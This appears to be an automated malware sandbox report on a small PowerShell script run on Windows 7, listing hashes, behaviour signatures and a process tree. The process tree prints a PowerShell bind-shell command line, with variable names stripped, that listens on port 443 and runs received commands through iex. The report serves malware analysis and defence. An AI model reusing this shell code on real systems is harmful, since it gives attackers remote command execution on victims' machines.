5f5c5f00a84e03684b736c76b1294a9825966ace8f628e7e65dffba8d6bdc7e6 | Triage

Analysis

max time kernel
117s
max time network
122s
platform
windows7_x64
resource
win7
submitted
07-07-2020 14:02

Sharing

Report Analysis Logs

General

Target

KfhizGC7.ps1
Size

594B
MD5

5f3a4a7943f554bd8f39a48cc9b2faa9
SHA1

fb28d0ac2f50899a7170029120027db996b488fd
SHA256

5f5c5f00a84e03684b736c76b1294a9825966ace8f628e7e65dffba8d6bdc7e6
SHA512

737e27f3ea569ccc893ebdc0b7a8c64409f1228d4266ce8371130432b50c42f7c687cc191a94c1dd94949e951dffa9d6c23ba910d5b0e88b25eb58c1c37cfdf7

Score

1^/10

Malware Config

Signatures

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1492	powershell.exe
Token: SeDebugPrivilege	532	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1492	powershell.exe
532	powershell.exe
532	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1492 wrote to memory of 532	1492	powershell.exe	25
PID 1492 wrote to memory of 532	1492	powershell.exe	25
PID 1492 wrote to memory of 532	1492	powershell.exe	25

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\KfhizGC7.ps1
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c " = New-Object System.Net.Sockets.TcpListener( '0.0.0.0',443);.start(); = .AcceptTcpClient(); = nt.GetStream();[byte[]] = 0..65535|%{0};while(( = .Read(, 0, es.Length)) -ne 0){; = (New-Object -TypeName System.Text.ASCIIEncoding).GetString (,0, ); = (iex 2>&1 | Out-String ); = + 'PS ' + (pwd).Path + '> '; = ([text.encoding]::ASCII).GetBytes(); eam.Write(,0,.Length);.Flush()};.Close();.Sto p()"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious behavior: EnumeratesProcesses
  PID:532

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads